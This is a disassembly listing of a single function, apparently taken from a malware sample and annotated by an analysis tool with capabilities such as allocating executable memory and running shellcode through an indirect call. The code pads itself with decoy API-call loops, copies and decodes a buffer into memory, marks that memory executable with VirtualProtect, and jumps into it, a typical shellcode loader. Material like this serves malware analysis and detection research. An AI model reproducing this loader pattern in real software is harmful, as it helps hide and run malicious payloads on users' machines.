Function at 0x401070
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path

Disassembly:
mov eax, 0x41e7f4
call fcn.00407118
sub esp, 0xcb4
push esi
push edi
xor edi, edi
mov esi, edi
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
cmp esi, 0x4ad
jg 0x40109d
inc esi
cmp esi, 0xfdc3
jl 0x401086
mov eax, dword [0x42e410]
mov ecx, edi
mov dword [0xe12ed8], eax
cmp ecx, 0x209
jne 0x4010b6
add eax, 0x1890
inc ecx
cmp ecx, 0xc3e
jl 0x4010a9
push eax
push edi
mov dword [0xe12ed8], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0xe12edc], eax
mov esi, edi
cmp esi, 0x1e3
jge 0x4010f8
push edi
push edi
call dword [sym.imp.ole32.dll_CoCancelCall]
lea eax, [ebp - 0x4c0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push edi
call dword [sym.imp.GDI32.dll_CloseMetaFile]
inc esi
cmp esi, 0x590053
jl 0x4010d3
mov esi, edi
mov eax, dword [0xe12ee0]
cmp esi, 0x7c16df
cmove eax, dword [0x42e404]
mov dword [0xe12ee0], eax
cmp esi, 0x865
jge 0x401144
push edi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetMailslotInfo]
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FlushViewOfFile]
inc esi
cmp esi, 0x8d70ff
jl 0x401103
mov esi, edi
cmp dword [0xe12ed8], esi
jbe 0x401193
cmp esi, 0x18bd
jge 0x401167
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [0xe12ee0]
mov cl, byte [eax + esi + 0x1890]
mov eax, dword [0xe12edc]
mov byte [eax + esi], cl
cmp esi, 0x652
jge 0x40118a
push edi
call dword [sym.imp.GDI32.dll_PathToRegion]
inc esi
cmp esi, dword [0xe12ed8]
jb 0x401157
mov esi, edi
cmp esi, 0x500233
jne 0x4011c0
push 0x41f27c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x10]
push eax
push 0x40
push dword [0xe12ed8]
push dword [0xe12edc]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc esi
cmp esi, 0x88d29b
jl 0x401195
mov edx, dword [0xe12ed8]
mov ecx, dword [0xe12edc]
push section..data
call fcn.004013ec
mov esi, edi
cmp esi, 0xa151
jne 0x4011fa
nop
add dword [0xe12ed8], 0x379b
call dword [0xe12edc]
cmp esi, 0x19bc
jge 0x401211
push edi
push edi
call dword [sym.imp.GDI32.dll_ResetDCA]
push edi
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
inc esi
cmp esi, 0x5a545b
jl 0x4011e1
push edi
lea eax, [ebp - 0xcc0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword [0xe13304]
mov eax, dword fs:[0x2c]
mov eax, dword [eax + ecx*4]
xor ecx, ecx
inc ecx
push ecx
push 3
mov dword [eax + 4], ecx
lea ecx, [ebp - 0xc0]
call fcn.00401d31
mov edx, str.lujusucufususaboheni
mov dword [ebp - 4], edi
lea ecx, [ebp - 0xb0]
call fcn.0040146b
push 0x3039
lea ecx, [ebp - 0xb0]
call fcn.00402707
push dword [ebp - 0x10]
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_StretchBlt]
lea ecx, [ebp - 0xc0]
call fcn.004028e2
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 0x10